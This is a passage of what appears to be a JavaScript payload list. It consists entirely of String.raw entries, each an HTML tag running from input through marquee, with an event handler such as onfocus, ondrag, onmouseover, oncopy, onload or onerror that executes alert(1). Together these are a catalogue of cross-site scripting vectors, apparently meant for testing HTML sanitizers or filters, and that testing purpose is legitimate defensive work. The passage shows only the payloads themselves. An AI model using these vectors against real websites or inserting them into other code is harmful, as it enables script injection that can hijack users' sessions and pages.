  String.raw`<input onkeyup="alert(1)" contenteditable>test</input>`,
  String.raw`<input onmousedown="alert(1)">test</input>`,
  String.raw`<input onmouseenter="alert(1)">test</input>`,
  String.raw`<input onmouseleave="alert(1)">test</input>`,
  String.raw`<input onmousemove="alert(1)">test</input>`,
  String.raw`<input onmouseout="alert(1)">test</input>`,
  String.raw`<input onmouseover="alert(1)">test</input>`,
  String.raw`<input onmouseup="alert(1)">test</input>`,
  String.raw`<input onpaste=alert(1) value="" autofocus>`,
  String.raw`<input onselect=alert(1) value="XSS" autofocus>`,
  String.raw`<input type=checkbox id=x onfocus=alert(1)>`,
  String.raw`<input type=checkbox id=x onfocusin=alert(1)>`,
  String.raw`<input type=image onloadend=alert(1) src=validimage.png>`,
  String.raw`<input type=image onloadstart=alert(1) src=validimage.png>`,
  String.raw`<input type=image src=1 onerror=alert(1)>`,
  String.raw`<input type=image src=validimage.png onload=alert(1)>`,
  String.raw`<input type=radio id=x onfocus=alert(1)>`,
  String.raw`<input type=radio id=x onfocusin=alert(1)>`,
  String.raw`<ins draggable="true" ondrag="alert(1)">test</ins>`,
  String.raw`<ins draggable="true" ondragend="alert(1)">test</ins>`,
  String.raw`<ins draggable="true" ondragenter="alert(1)">test</ins>`,
  String.raw`<ins draggable="true" ondragleave="alert(1)">test</ins>`,
  String.raw`<ins draggable="true" ondragstart="alert(1)">test</ins>`,
  String.raw`<ins id=x tabindex=1 onactivate=alert(1)></ins>`,
  String.raw`<ins id=x tabindex=1 onbeforeactivate=alert(1)></ins>`,
  String.raw`<ins id=x tabindex=1 onbeforedeactivate=alert(1)></ins><input autofocus>`,
  String.raw`<ins id=x tabindex=1 ondeactivate=alert(1)></ins><input id=y autofocus>`,
  String.raw`<ins id=x tabindex=1 onfocus=alert(1)></ins>`,
  String.raw`<ins id=x tabindex=1 onfocusin=alert(1)></ins>`,
  String.raw`<ins onbeforecopy="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins onbeforecut="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins onbeforepaste="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins onblur=alert(1) tabindex=1 id=x></ins><input autofocus>`,
  String.raw`<ins onclick="alert(1)">test</ins>`,
  String.raw`<ins oncontextmenu="alert(1)">test</ins>`,
  String.raw`<ins oncopy="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins oncut="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins ondblclick="alert(1)">test</ins>`,
  String.raw`<ins onfocusout=alert(1) tabindex=1 id=x></ins><input autofocus>`,
  String.raw`<ins onkeydown="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins onkeypress="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins onkeyup="alert(1)" contenteditable>test</ins>`,
  String.raw`<ins onmousedown="alert(1)">test</ins>`,
  String.raw`<ins onmouseenter="alert(1)">test</ins>`,
  String.raw`<ins onmouseleave="alert(1)">test</ins>`,
  String.raw`<ins onmousemove="alert(1)">test</ins>`,
  String.raw`<ins onmouseout="alert(1)">test</ins>`,
  String.raw`<ins onmouseover="alert(1)">test</ins>`,
  String.raw`<ins onmouseup="alert(1)">test</ins>`,
  String.raw`<ins onpaste="alert(1)" contenteditable>test</ins>`,
  String.raw`<isindex draggable="true" ondrag="alert(1)">test</isindex>`,
  String.raw`<isindex draggable="true" ondragend="alert(1)">test</isindex>`,
  String.raw`<isindex draggable="true" ondragenter="alert(1)">test</isindex>`,
  String.raw`<isindex draggable="true" ondragleave="alert(1)">test</isindex>`,
  String.raw`<isindex draggable="true" ondragstart="alert(1)">test</isindex>`,
  String.raw`<isindex id=x tabindex=1 onactivate=alert(1)></isindex>`,
  String.raw`<isindex id=x tabindex=1 onbeforeactivate=alert(1)></isindex>`,
  String.raw`<isindex id=x tabindex=1 onbeforedeactivate=alert(1)></isindex><input autofocus>`,
  String.raw`<isindex id=x tabindex=1 ondeactivate=alert(1)></isindex><input id=y autofocus>`,
  String.raw`<isindex id=x tabindex=1 onfocus=alert(1)></isindex>`,
  String.raw`<isindex id=x tabindex=1 onfocusin=alert(1)></isindex>`,
  String.raw`<isindex onbeforecopy="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex onbeforecut="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex onbeforepaste="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex onblur=alert(1) tabindex=1 id=x></isindex><input autofocus>`,
  String.raw`<isindex onclick="alert(1)">test</isindex>`,
  String.raw`<isindex oncontextmenu="alert(1)">test</isindex>`,
  String.raw`<isindex oncopy="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex oncut="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex ondblclick="alert(1)">test</isindex>`,
  String.raw`<isindex onfocusout=alert(1) tabindex=1 id=x></isindex><input autofocus>`,
  String.raw`<isindex onkeydown="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex onkeypress="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex onkeyup="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex onmousedown="alert(1)">test</isindex>`,
  String.raw`<isindex onmouseenter="alert(1)">test</isindex>`,
  String.raw`<isindex onmouseleave="alert(1)">test</isindex>`,
  String.raw`<isindex onmousemove="alert(1)">test</isindex>`,
  String.raw`<isindex onmouseout="alert(1)">test</isindex>`,
  String.raw`<isindex onmouseover="alert(1)">test</isindex>`,
  String.raw`<isindex onmouseup="alert(1)">test</isindex>`,
  String.raw`<isindex onpaste="alert(1)" contenteditable>test</isindex>`,
  String.raw`<isindex type=image onload=alert(1) src=validimage.png>`,
  String.raw`<isindex type=image src=1 onerror=alert(1)>`,
  String.raw`<kbd draggable="true" ondrag="alert(1)">test</kbd>`,
  String.raw`<kbd draggable="true" ondragend="alert(1)">test</kbd>`,
  String.raw`<kbd draggable="true" ondragenter="alert(1)">test</kbd>`,
  String.raw`<kbd draggable="true" ondragleave="alert(1)">test</kbd>`,
  String.raw`<kbd draggable="true" ondragstart="alert(1)">test</kbd>`,
  String.raw`<kbd id=x tabindex=1 onactivate=alert(1)></kbd>`,
  String.raw`<kbd id=x tabindex=1 onbeforeactivate=alert(1)></kbd>`,
  String.raw`<kbd id=x tabindex=1 onbeforedeactivate=alert(1)></kbd><input autofocus>`,
  String.raw`<kbd id=x tabindex=1 ondeactivate=alert(1)></kbd><input id=y autofocus>`,
  String.raw`<kbd id=x tabindex=1 onfocus=alert(1)></kbd>`,
  String.raw`<kbd id=x tabindex=1 onfocusin=alert(1)></kbd>`,
  String.raw`<kbd onbeforecopy="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd onbeforecut="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd onbeforepaste="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd onblur=alert(1) tabindex=1 id=x></kbd><input autofocus>`,
  String.raw`<kbd onclick="alert(1)">test</kbd>`,
  String.raw`<kbd oncontextmenu="alert(1)">test</kbd>`,
  String.raw`<kbd oncopy="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd oncut="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd ondblclick="alert(1)">test</kbd>`,
  String.raw`<kbd onfocusout=alert(1) tabindex=1 id=x></kbd><input autofocus>`,
  String.raw`<kbd onkeydown="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd onkeypress="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd onkeyup="alert(1)" contenteditable>test</kbd>`,
  String.raw`<kbd onmousedown="alert(1)">test</kbd>`,
  String.raw`<kbd onmouseenter="alert(1)">test</kbd>`,
  String.raw`<kbd onmouseleave="alert(1)">test</kbd>`,
  String.raw`<kbd onmousemove="alert(1)">test</kbd>`,
  String.raw`<kbd onmouseout="alert(1)">test</kbd>`,
  String.raw`<kbd onmouseover="alert(1)">test</kbd>`,
  String.raw`<kbd onmouseup="alert(1)">test</kbd>`,
  String.raw`<kbd onpaste="alert(1)" contenteditable>test</kbd>`,
  String.raw`<keygen autofocus onfocus=alert(1)>`,
  String.raw`<keygen autofocus onfocusin=alert(1)>`,
  String.raw`<keygen draggable="true" ondrag="alert(1)">test</keygen>`,
  String.raw`<keygen draggable="true" ondragend="alert(1)">test</keygen>`,
  String.raw`<keygen draggable="true" ondragenter="alert(1)">test</keygen>`,
  String.raw`<keygen draggable="true" ondragleave="alert(1)">test</keygen>`,
  String.raw`<keygen draggable="true" ondragstart="alert(1)">test</keygen>`,
  String.raw`<keygen id=x onfocus=alert(1)>`,
  String.raw`<keygen id=x onfocusin=alert(1)>`,
  String.raw`<keygen id=x tabindex=1 onactivate=alert(1)></keygen>`,
  String.raw`<keygen id=x tabindex=1 onbeforeactivate=alert(1)></keygen>`,
  String.raw`<keygen id=x tabindex=1 onbeforedeactivate=alert(1)></keygen><input autofocus>`,
  String.raw`<keygen id=x tabindex=1 ondeactivate=alert(1)></keygen><input id=y autofocus>`,
  String.raw`<keygen onbeforecopy="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen onbeforecut="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen onbeforepaste="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen onblur=alert(1) tabindex=1 id=x></keygen><input autofocus>`,
  String.raw`<keygen onclick="alert(1)">test</keygen>`,
  String.raw`<keygen oncontextmenu="alert(1)">test</keygen>`,
  String.raw`<keygen oncopy="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen oncut="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen ondblclick="alert(1)">test</keygen>`,
  String.raw`<keygen onfocusout=alert(1) tabindex=1 id=x></keygen><input autofocus>`,
  String.raw`<keygen onkeydown="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen onkeypress="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen onkeyup="alert(1)" contenteditable>test</keygen>`,
  String.raw`<keygen onmousedown="alert(1)">test</keygen>`,
  String.raw`<keygen onmouseenter="alert(1)">test</keygen>`,
  String.raw`<keygen onmouseleave="alert(1)">test</keygen>`,
  String.raw`<keygen onmousemove="alert(1)">test</keygen>`,
  String.raw`<keygen onmouseout="alert(1)">test</keygen>`,
  String.raw`<keygen onmouseover="alert(1)">test</keygen>`,
  String.raw`<keygen onmouseup="alert(1)">test</keygen>`,
  String.raw`<keygen onpaste="alert(1)" contenteditable>test</keygen>`,
  String.raw`<label draggable="true" ondrag="alert(1)">test</label>`,
  String.raw`<label draggable="true" ondragend="alert(1)">test</label>`,
  String.raw`<label draggable="true" ondragenter="alert(1)">test</label>`,
  String.raw`<label draggable="true" ondragleave="alert(1)">test</label>`,
  String.raw`<label draggable="true" ondragstart="alert(1)">test</label>`,
  String.raw`<label id=x tabindex=1 onactivate=alert(1)></label>`,
  String.raw`<label id=x tabindex=1 onbeforeactivate=alert(1)></label>`,
  String.raw`<label id=x tabindex=1 onbeforedeactivate=alert(1)></label><input autofocus>`,
  String.raw`<label id=x tabindex=1 ondeactivate=alert(1)></label><input id=y autofocus>`,
  String.raw`<label id=x tabindex=1 onfocus=alert(1)></label>`,
  String.raw`<label id=x tabindex=1 onfocusin=alert(1)></label>`,
  String.raw`<label onbeforecopy="alert(1)" contenteditable>test</label>`,
  String.raw`<label onbeforecut="alert(1)" contenteditable>test</label>`,
  String.raw`<label onbeforepaste="alert(1)" contenteditable>test</label>`,
  String.raw`<label onblur=alert(1) tabindex=1 id=x></label><input autofocus>`,
  String.raw`<label onclick="alert(1)">test</label>`,
  String.raw`<label oncontextmenu="alert(1)">test</label>`,
  String.raw`<label oncopy="alert(1)" contenteditable>test</label>`,
  String.raw`<label oncut="alert(1)" contenteditable>test</label>`,
  String.raw`<label ondblclick="alert(1)">test</label>`,
  String.raw`<label onfocusout=alert(1) tabindex=1 id=x></label><input autofocus>`,
  String.raw`<label onkeydown="alert(1)" contenteditable>test</label>`,
  String.raw`<label onkeypress="alert(1)" contenteditable>test</label>`,
  String.raw`<label onkeyup="alert(1)" contenteditable>test</label>`,
  String.raw`<label onmousedown="alert(1)">test</label>`,
  String.raw`<label onmouseenter="alert(1)">test</label>`,
  String.raw`<label onmouseleave="alert(1)">test</label>`,
  String.raw`<label onmousemove="alert(1)">test</label>`,
  String.raw`<label onmouseout="alert(1)">test</label>`,
  String.raw`<label onmouseover="alert(1)">test</label>`,
  String.raw`<label onmouseup="alert(1)">test</label>`,
  String.raw`<label onpaste="alert(1)" contenteditable>test</label>`,
  String.raw`<legend draggable="true" ondrag="alert(1)">test</legend>`,
  String.raw`<legend draggable="true" ondragend="alert(1)">test</legend>`,
  String.raw`<legend draggable="true" ondragenter="alert(1)">test</legend>`,
  String.raw`<legend draggable="true" ondragleave="alert(1)">test</legend>`,
  String.raw`<legend draggable="true" ondragstart="alert(1)">test</legend>`,
  String.raw`<legend id=x tabindex=1 onactivate=alert(1)></legend>`,
  String.raw`<legend id=x tabindex=1 onbeforeactivate=alert(1)></legend>`,
  String.raw`<legend id=x tabindex=1 onbeforedeactivate=alert(1)></legend><input autofocus>`,
  String.raw`<legend id=x tabindex=1 ondeactivate=alert(1)></legend><input id=y autofocus>`,
  String.raw`<legend id=x tabindex=1 onfocus=alert(1)></legend>`,
  String.raw`<legend id=x tabindex=1 onfocusin=alert(1)></legend>`,
  String.raw`<legend onbeforecopy="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend onbeforecut="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend onbeforepaste="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend onblur=alert(1) tabindex=1 id=x></legend><input autofocus>`,
  String.raw`<legend onclick="alert(1)">test</legend>`,
  String.raw`<legend oncontextmenu="alert(1)">test</legend>`,
  String.raw`<legend oncopy="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend oncut="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend ondblclick="alert(1)">test</legend>`,
  String.raw`<legend onfocusout=alert(1) tabindex=1 id=x></legend><input autofocus>`,
  String.raw`<legend onkeydown="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend onkeypress="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend onkeyup="alert(1)" contenteditable>test</legend>`,
  String.raw`<legend onmousedown="alert(1)">test</legend>`,
  String.raw`<legend onmouseenter="alert(1)">test</legend>`,
  String.raw`<legend onmouseleave="alert(1)">test</legend>`,
  String.raw`<legend onmousemove="alert(1)">test</legend>`,
  String.raw`<legend onmouseout="alert(1)">test</legend>`,
  String.raw`<legend onmouseover="alert(1)">test</legend>`,
  String.raw`<legend onmouseup="alert(1)">test</legend>`,
  String.raw`<legend onpaste="alert(1)" contenteditable>test</legend>`,
  String.raw`<li draggable="true" ondrag="alert(1)">test</li>`,
  String.raw`<li draggable="true" ondragend="alert(1)">test</li>`,
  String.raw`<li draggable="true" ondragenter="alert(1)">test</li>`,
  String.raw`<li draggable="true" ondragleave="alert(1)">test</li>`,
  String.raw`<li draggable="true" ondragstart="alert(1)">test</li>`,
  String.raw`<li id=x tabindex=1 onactivate=alert(1)></li>`,
  String.raw`<li id=x tabindex=1 onbeforeactivate=alert(1)></li>`,
  String.raw`<li id=x tabindex=1 onbeforedeactivate=alert(1)></li><input autofocus>`,
  String.raw`<li id=x tabindex=1 ondeactivate=alert(1)></li><input id=y autofocus>`,
  String.raw`<li id=x tabindex=1 onfocus=alert(1)></li>`,
  String.raw`<li id=x tabindex=1 onfocusin=alert(1)></li>`,
  String.raw`<li onbeforecopy="alert(1)" contenteditable>test</li>`,
  String.raw`<li onbeforecut="alert(1)" contenteditable>test</li>`,
  String.raw`<li onbeforepaste="alert(1)" contenteditable>test</li>`,
  String.raw`<li onblur=alert(1) tabindex=1 id=x></li><input autofocus>`,
  String.raw`<li onclick="alert(1)">test</li>`,
  String.raw`<li oncontextmenu="alert(1)">test</li>`,
  String.raw`<li oncopy="alert(1)" contenteditable>test</li>`,
  String.raw`<li oncut="alert(1)" contenteditable>test</li>`,
  String.raw`<li ondblclick="alert(1)">test</li>`,
  String.raw`<li onfocusout=alert(1) tabindex=1 id=x></li><input autofocus>`,
  String.raw`<li onkeydown="alert(1)" contenteditable>test</li>`,
  String.raw`<li onkeypress="alert(1)" contenteditable>test</li>`,
  String.raw`<li onkeyup="alert(1)" contenteditable>test</li>`,
  String.raw`<li onmousedown="alert(1)">test</li>`,
  String.raw`<li onmouseenter="alert(1)">test</li>`,
  String.raw`<li onmouseleave="alert(1)">test</li>`,
  String.raw`<li onmousemove="alert(1)">test</li>`,
  String.raw`<li onmouseout="alert(1)">test</li>`,
  String.raw`<li onmouseover="alert(1)">test</li>`,
  String.raw`<li onmouseup="alert(1)">test</li>`,
  String.raw`<li onpaste="alert(1)" contenteditable>test</li>`,
  String.raw`<link draggable="true" ondrag="alert(1)">test</link>`,
  String.raw`<link draggable="true" ondragend="alert(1)">test</link>`,
  String.raw`<link draggable="true" ondragenter="alert(1)">test</link>`,
  String.raw`<link draggable="true" ondragleave="alert(1)">test</link>`,
  String.raw`<link draggable="true" ondragstart="alert(1)">test</link>`,
  String.raw`<link href=validstyles.css rel=stylesheet onload=alert(1)>`,
  String.raw`<link id=x tabindex=1 onactivate=alert(1)></link>`,
  String.raw`<link id=x tabindex=1 onbeforeactivate=alert(1)></link>`,
  String.raw`<link id=x tabindex=1 onbeforedeactivate=alert(1)></link><input autofocus>`,
  String.raw`<link id=x tabindex=1 ondeactivate=alert(1)></link><input id=y autofocus>`,
  String.raw`<link onbeforecopy="alert(1)" contenteditable>test</link>`,
  String.raw`<link onbeforecut="alert(1)" contenteditable>test</link>`,
  String.raw`<link onbeforepaste="alert(1)" contenteditable>test</link>`,
  String.raw`<link onblur=alert(1) tabindex=1 id=x></link><input autofocus>`,
  String.raw`<link onclick="alert(1)">test</link>`,
  String.raw`<link oncontextmenu="alert(1)">test</link>`,
  String.raw`<link oncopy="alert(1)" contenteditable>test</link>`,
  String.raw`<link oncut="alert(1)" contenteditable>test</link>`,
  String.raw`<link ondblclick="alert(1)">test</link>`,
  String.raw`<link onfocus=alert(1) id=x tabindex=1 style=display:block>`,
  String.raw`<link onfocusin=alert(1) id=x tabindex=1 style=display:block>`,
  String.raw`<link onfocusout=alert(1) tabindex=1 id=x></link><input autofocus>`,
  String.raw`<link onkeydown="alert(1)" contenteditable>test</link>`,
  String.raw`<link onkeypress="alert(1)" contenteditable>test</link>`,
  String.raw`<link onkeyup="alert(1)" contenteditable>test</link>`,
  String.raw`<link onmousedown="alert(1)">test</link>`,
  String.raw`<link onmouseenter="alert(1)">test</link>`,
  String.raw`<link onmouseleave="alert(1)">test</link>`,
  String.raw`<link onmousemove="alert(1)">test</link>`,
  String.raw`<link onmouseout="alert(1)">test</link>`,
  String.raw`<link onmouseover="alert(1)">test</link>`,
  String.raw`<link onmouseup="alert(1)">test</link>`,
  String.raw`<link onpaste="alert(1)" contenteditable>test</link>`,
  String.raw`<link onreadystatechange=alert(1) rel=stylesheet href=1>`,
  String.raw`<link rel=stylesheet href=1 onerror=alert(1)>`,
  String.raw`<listing draggable="true" ondrag="alert(1)">test</listing>`,
  String.raw`<listing draggable="true" ondragend="alert(1)">test</listing>`,
  String.raw`<listing draggable="true" ondragenter="alert(1)">test</listing>`,
  String.raw`<listing draggable="true" ondragleave="alert(1)">test</listing>`,
  String.raw`<listing draggable="true" ondragstart="alert(1)">test</listing>`,
  String.raw`<listing id=x tabindex=1 onactivate=alert(1)></listing>`,
  String.raw`<listing id=x tabindex=1 onbeforeactivate=alert(1)></listing>`,
  String.raw`<listing id=x tabindex=1 onbeforedeactivate=alert(1)></listing><input autofocus>`,
  String.raw`<listing id=x tabindex=1 ondeactivate=alert(1)></listing><input id=y autofocus>`,
  String.raw`<listing id=x tabindex=1 onfocus=alert(1)></listing>`,
  String.raw`<listing id=x tabindex=1 onfocusin=alert(1)></listing>`,
  String.raw`<listing onbeforecopy="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing onbeforecut="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing onbeforepaste="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing onblur=alert(1) tabindex=1 id=x></listing><input autofocus>`,
  String.raw`<listing onclick="alert(1)">test</listing>`,
  String.raw`<listing oncontextmenu="alert(1)">test</listing>`,
  String.raw`<listing oncopy="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing oncut="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing ondblclick="alert(1)">test</listing>`,
  String.raw`<listing onfocusout=alert(1) tabindex=1 id=x></listing><input autofocus>`,
  String.raw`<listing onkeydown="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing onkeypress="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing onkeyup="alert(1)" contenteditable>test</listing>`,
  String.raw`<listing onmousedown="alert(1)">test</listing>`,
  String.raw`<listing onmouseenter="alert(1)">test</listing>`,
  String.raw`<listing onmouseleave="alert(1)">test</listing>`,
  String.raw`<listing onmousemove="alert(1)">test</listing>`,
  String.raw`<listing onmouseout="alert(1)">test</listing>`,
  String.raw`<listing onmouseover="alert(1)">test</listing>`,
  String.raw`<listing onmouseup="alert(1)">test</listing>`,
  String.raw`<listing onpaste="alert(1)" contenteditable>test</listing>`,
  String.raw`<main draggable="true" ondrag="alert(1)">test</main>`,
  String.raw`<main draggable="true" ondragend="alert(1)">test</main>`,
  String.raw`<main draggable="true" ondragenter="alert(1)">test</main>`,
  String.raw`<main draggable="true" ondragleave="alert(1)">test</main>`,
  String.raw`<main draggable="true" ondragstart="alert(1)">test</main>`,
  String.raw`<main id=x tabindex=1 onactivate=alert(1)></main>`,
  String.raw`<main id=x tabindex=1 onbeforeactivate=alert(1)></main>`,
  String.raw`<main id=x tabindex=1 onbeforedeactivate=alert(1)></main><input autofocus>`,
  String.raw`<main id=x tabindex=1 ondeactivate=alert(1)></main><input id=y autofocus>`,
  String.raw`<main id=x tabindex=1 onfocus=alert(1)></main>`,
  String.raw`<main id=x tabindex=1 onfocusin=alert(1)></main>`,
  String.raw`<main onbeforecopy="alert(1)" contenteditable>test</main>`,
  String.raw`<main onbeforecut="alert(1)" contenteditable>test</main>`,
  String.raw`<main onbeforepaste="alert(1)" contenteditable>test</main>`,
  String.raw`<main onblur=alert(1) tabindex=1 id=x></main><input autofocus>`,
  String.raw`<main onclick="alert(1)">test</main>`,
  String.raw`<main oncontextmenu="alert(1)">test</main>`,
  String.raw`<main oncopy="alert(1)" contenteditable>test</main>`,
  String.raw`<main oncut="alert(1)" contenteditable>test</main>`,
  String.raw`<main ondblclick="alert(1)">test</main>`,
  String.raw`<main onfocusout=alert(1) tabindex=1 id=x></main><input autofocus>`,
  String.raw`<main onkeydown="alert(1)" contenteditable>test</main>`,
  String.raw`<main onkeypress="alert(1)" contenteditable>test</main>`,
  String.raw`<main onkeyup="alert(1)" contenteditable>test</main>`,
  String.raw`<main onmousedown="alert(1)">test</main>`,
  String.raw`<main onmouseenter="alert(1)">test</main>`,
  String.raw`<main onmouseleave="alert(1)">test</main>`,
  String.raw`<main onmousemove="alert(1)">test</main>`,
  String.raw`<main onmouseout="alert(1)">test</main>`,
  String.raw`<main onmouseover="alert(1)">test</main>`,
  String.raw`<main onmouseup="alert(1)">test</main>`,
  String.raw`<main onpaste="alert(1)" contenteditable>test</main>`,
  String.raw`<map draggable="true" ondrag="alert(1)">test</map>`,
  String.raw`<map draggable="true" ondragend="alert(1)">test</map>`,
  String.raw`<map draggable="true" ondragenter="alert(1)">test</map>`,
  String.raw`<map draggable="true" ondragleave="alert(1)">test</map>`,
  String.raw`<map draggable="true" ondragstart="alert(1)">test</map>`,
  String.raw`<map id=x tabindex=1 onactivate=alert(1)></map>`,
  String.raw`<map id=x tabindex=1 onbeforeactivate=alert(1)></map>`,
  String.raw`<map id=x tabindex=1 onbeforedeactivate=alert(1)></map><input autofocus>`,
  String.raw`<map id=x tabindex=1 ondeactivate=alert(1)></map><input id=y autofocus>`,
  String.raw`<map id=x tabindex=1 onfocus=alert(1)></map>`,
  String.raw`<map id=x tabindex=1 onfocusin=alert(1)></map>`,
  String.raw`<map onbeforecopy="alert(1)" contenteditable>test</map>`,
  String.raw`<map onbeforecut="alert(1)" contenteditable>test</map>`,
  String.raw`<map onbeforepaste="alert(1)" contenteditable>test</map>`,
  String.raw`<map onblur=alert(1) tabindex=1 id=x></map><input autofocus>`,
  String.raw`<map onclick="alert(1)">test</map>`,
  String.raw`<map oncontextmenu="alert(1)">test</map>`,
  String.raw`<map oncopy="alert(1)" contenteditable>test</map>`,
  String.raw`<map oncut="alert(1)" contenteditable>test</map>`,
  String.raw`<map ondblclick="alert(1)">test</map>`,
  String.raw`<map onfocusout=alert(1) tabindex=1 id=x></map><input autofocus>`,
  String.raw`<map onkeydown="alert(1)" contenteditable>test</map>`,
  String.raw`<map onkeypress="alert(1)" contenteditable>test</map>`,
  String.raw`<map onkeyup="alert(1)" contenteditable>test</map>`,
  String.raw`<map onmousedown="alert(1)">test</map>`,
  String.raw`<map onmouseenter="alert(1)">test</map>`,
  String.raw`<map onmouseleave="alert(1)">test</map>`,
  String.raw`<map onmousemove="alert(1)">test</map>`,
  String.raw`<map onmouseout="alert(1)">test</map>`,
  String.raw`<map onmouseover="alert(1)">test</map>`,
  String.raw`<map onmouseup="alert(1)">test</map>`,
  String.raw`<map onpaste="alert(1)" contenteditable>test</map>`,
  String.raw`<mark draggable="true" ondrag="alert(1)">test</mark>`,
  String.raw`<mark draggable="true" ondragend="alert(1)">test</mark>`,
  String.raw`<mark draggable="true" ondragenter="alert(1)">test</mark>`,
  String.raw`<mark draggable="true" ondragleave="alert(1)">test</mark>`,
  String.raw`<mark draggable="true" ondragstart="alert(1)">test</mark>`,
  String.raw`<mark id=x tabindex=1 onactivate=alert(1)></mark>`,
  String.raw`<mark id=x tabindex=1 onbeforeactivate=alert(1)></mark>`,
  String.raw`<mark id=x tabindex=1 onbeforedeactivate=alert(1)></mark><input autofocus>`,
  String.raw`<mark id=x tabindex=1 ondeactivate=alert(1)></mark><input id=y autofocus>`,
  String.raw`<mark id=x tabindex=1 onfocus=alert(1)></mark>`,
  String.raw`<mark id=x tabindex=1 onfocusin=alert(1)></mark>`,
  String.raw`<mark onbeforecopy="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark onbeforecut="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark onbeforepaste="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark onblur=alert(1) tabindex=1 id=x></mark><input autofocus>`,
  String.raw`<mark onclick="alert(1)">test</mark>`,
  String.raw`<mark oncontextmenu="alert(1)">test</mark>`,
  String.raw`<mark oncopy="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark oncut="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark ondblclick="alert(1)">test</mark>`,
  String.raw`<mark onfocusout=alert(1) tabindex=1 id=x></mark><input autofocus>`,
  String.raw`<mark onkeydown="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark onkeypress="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark onkeyup="alert(1)" contenteditable>test</mark>`,
  String.raw`<mark onmousedown="alert(1)">test</mark>`,
  String.raw`<mark onmouseenter="alert(1)">test</mark>`,
  String.raw`<mark onmouseleave="alert(1)">test</mark>`,
  String.raw`<mark onmousemove="alert(1)">test</mark>`,
  String.raw`<mark onmouseout="alert(1)">test</mark>`,
  String.raw`<mark onmouseover="alert(1)">test</mark>`,
  String.raw`<mark onmouseup="alert(1)">test</mark>`,
  String.raw`<mark onpaste="alert(1)" contenteditable>test</mark>`,
  String.raw`<marquee draggable="true" ondrag="alert(1)">test</marquee>`,
  String.raw`<marquee draggable="true" ondragend="alert(1)">test</marquee>`,
  String.raw`<marquee draggable="true" ondragenter="alert(1)">test</marquee>`,
  String.raw`<marquee draggable="true" ondragleave="alert(1)">test</marquee>`,
  String.raw`<marquee draggable="true" ondragstart="alert(1)">test</marquee>`,
  String.raw`<marquee id=x tabindex=1 onactivate=alert(1)></marquee>`,
  String.raw`<marquee id=x tabindex=1 onbeforeactivate=alert(1)></marquee>`,
  String.raw`<marquee id=x tabindex=1 onbeforedeactivate=alert(1)></marquee><input autofocus>`,
  String.raw`<marquee id=x tabindex=1 ondeactivate=alert(1)></marquee><input id=y autofocus>`,
  String.raw`<marquee id=x tabindex=1 onfocus=alert(1)></marquee>`,
  String.raw`<marquee id=x tabindex=1 onfocusin=alert(1)></marquee>`,
  String.raw`<marquee onbeforecopy="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onbeforecut="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onbeforepaste="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onblur=alert(1) tabindex=1 id=x></marquee><input autofocus>`,
  String.raw`<marquee onclick="alert(1)">test</marquee>`,
  String.raw`<marquee oncontextmenu="alert(1)">test</marquee>`,
  String.raw`<marquee oncopy="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee oncut="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee ondblclick="alert(1)">test</marquee>`,
  String.raw`<marquee onfocusout=alert(1) tabindex=1 id=x></marquee><input autofocus>`,
  String.raw`<marquee onkeydown="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onkeypress="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onkeyup="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onmousedown="alert(1)">test</marquee>`,
  String.raw`<marquee onmouseenter="alert(1)">test</marquee>`,
  String.raw`<marquee onmouseleave="alert(1)">test</marquee>`,
  String.raw`<marquee onmousemove="alert(1)">test</marquee>`,
  String.raw`<marquee onmouseout="alert(1)">test</marquee>`,
